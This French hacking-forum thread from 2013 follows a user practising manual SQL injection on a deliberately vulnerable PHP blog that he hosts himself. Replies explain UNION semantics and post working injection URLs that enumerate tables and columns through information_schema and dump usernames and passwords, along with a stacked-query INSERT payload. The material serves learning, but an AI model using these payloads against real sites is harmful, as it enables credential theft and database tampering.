Injection SQL
|
27-07-2013, 19h30
(Modification du message : 28-07-2013, 16h29 par acip.)
Message : #1
|
|
acip
Newbie Messages : 8 Sujets : 2 Points: 0 Inscription : Jul 2013 |
Injection SQL
Salut !
Pour m’entraîner à réussir manuellement des injections SQL, j'ai codé un petit "blog" comportant volontairement une grosse faille. Lorsque je demande un article : index.php?id=3 , la variable $_GET['id'] est insérée dans une requête SQL sans être traité. La requête n'est pas une requête préparée. Pour communiquer avec la base de données, j'utilise PDO. Bref, la faille est évidente. Mais malgré ça, je n'arrive pas à l'exploiter. Havij réussit très bien, mais mon but est d'exploiter la faille manuellement. J'ai hébergé mes pages à cette adresse : acip.alwaysdata.net Code source de index.php : pastebin.com/U6DrJ0Ad Base de données : acip.alwaysdata.net/injectionsql.sql J'effectue une requête telle que celle ci : index.php?id=1+UNION+DELETE+FROM+users+WHERE+users.id=2 Donc la requête SQL envoyée est celle ci : SELECT * FROM news WHERE id=1 UNION DELETE FROM users WHERE users.id=2 Mais, la ligne de la table "users" comportant l'id n°2 n'est pas supprimée. Idem pour toutes autres types de requêtes. Je ne comprends pas pourquoi, il y a forcément quelque chose que je fais mal. Car Havij réussit. Un peu d'aide serait bien venue. Merci ! EDIT: Table 'news' : Table 'users' : |
|
28-07-2013, 11h39
Message : #2
|
|
acip
Newbie Messages : 8 Sujets : 2 Points: 0 Inscription : Jul 2013 |
RE: Injection SQL
Personne ?
Pourtant à en croire le log, vous êtes nombreux à avoir essayé. |
|
28-07-2013, 13h25
Message : #3
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Injection SQL
J'ai voulu test mais down visiblement..
Make your own destiny now and forever !
|
|
28-07-2013, 14h04
Message : #4
|
|
notfound
#!/usr/bin/env bash Messages : 687 Sujets : 47 Points: 271 Inscription : Sep 2012 |
RE: Injection SQL
Il est plus que down la
|
|
28-07-2013, 15h24
Message : #5
|
|
acip
Newbie Messages : 8 Sujets : 2 Points: 0 Inscription : Jul 2013 |
RE: Injection SQL
Effectivement, 000webhost l'a fermé. Raison : Cancelled for Abuse (Slow MySQL Queries). :p
Je vais trouver un autre hébergeur et j'éditerais le lien. |
|
28-07-2013, 15h30
Message : #6
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: Injection SQL
sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment
|
|
28-07-2013, 15h39
Message : #7
|
|
b0fh
Membre actif Messages : 210 Sujets : 17 Points: 309 Inscription : Jul 2012 |
RE: Injection SQL
Salut,
La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE. Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... ) |
|
28-07-2013, 16h25
(Modification du message : 28-07-2013, 16h45 par Di0Sasm.)
Message : #8
|
|
acip
Newbie Messages : 8 Sujets : 2 Points: 0 Inscription : Jul 2013 |
RE: Injection SQL
Re-up à cette adresse : http://acip.alwaysdata.net !
(28-07-2013, 15h30)gruik a écrit : sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Mais quel est le rapport ? (28-07-2013, 15h39)b0fh a écrit : Salut, ah d'accord. Je ne savais pas. Merci Quand je fais la requête suivante : ?id=500 UNION SELECT * FROM users WHERE users.id=1 La requête me renvoi le tableau suivant : Code SQL :
Array Donc c'est bien car j'obtiens ce que je cherchais, mais je ne comprends pas pourquoi les clés de ce tableaux se nomment 'title' et 'content' alors que le nom des champs sont 'username' et 'password'. |
|
28-07-2013, 16h27
Message : #9
|
|
b0fh
Membre actif Messages : 210 Sujets : 17 Points: 309 Inscription : Jul 2012 |
RE: Injection SQL
Parce que quand on fait un union, les noms des champs sont hérités de la première requête de l'union, pas de la deuxième.
|
|
28-07-2013, 17h12
Message : #10
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Injection SQL
Ton injection
Les tables : Code : acip.alwaysdata.net/?id=-9456 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+- Colonnes de la table users : Code : http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28column_name%29,2,3%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=0x7573657273--+- Les logs : Code : http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28username,0x3a,password%29,2,3%20from%20users--+- C'est ceci que tu voulais? Make your own destiny now and forever !
|
|
28-07-2013, 18h23
(Modification du message : 28-07-2013, 18h25 par supersnail.)
Message : #11
|
|
supersnail
Éleveur d'ornithorynques Messages : 1,609 Sujets : 71 Points: 465 Inscription : Jan 2012 |
RE: Injection SQL
(28-07-2013, 15h39)b0fh a écrit : Salut, Personnellement, mysql m'envoie cordialement chier en utilisant une subquery comme ça... Code : mysql> create table wtf (id int, name varchar (255), val varchar(255)); Edit: par contre les stacked queries ont l'air d'être supportées par PDO ... cf: cr0a://acip.alwaysdata.net/?id=1;%20insert%20into%20news%20%28title,%20content%29%20values%20%28%27omgwtf%27,%20%27bbq%27%29;
Mon blog
Code : push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp "VIM est merveilleux" © supersnail |
|
28-07-2013, 18h27
Message : #12
|
|
notfound
#!/usr/bin/env bash Messages : 687 Sujets : 47 Points: 271 Inscription : Sep 2012 |
RE: Injection SQL |
|
28-07-2013, 20h30
Message : #13
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: Injection SQL
(28-07-2013, 16h25)acip a écrit : Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Mais quel est le rapport ? le fait de chercher un hébergeur pour tester des injections sql qui t'ont valu de te faire ejecter par 000webhost peut-être, enfin après c'est vrai que ca tient plus du sens commun que de choses qui s'expliquent facilement... |
|
« Sujet précédent | Sujet suivant »
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Injection SQL Hard Filtre | oxame | 4 | 333 |
01-09-2012, 17h59 Dernier message: Luxerails |
Utilisateur(s) parcourant ce sujet : 3 visiteur(s)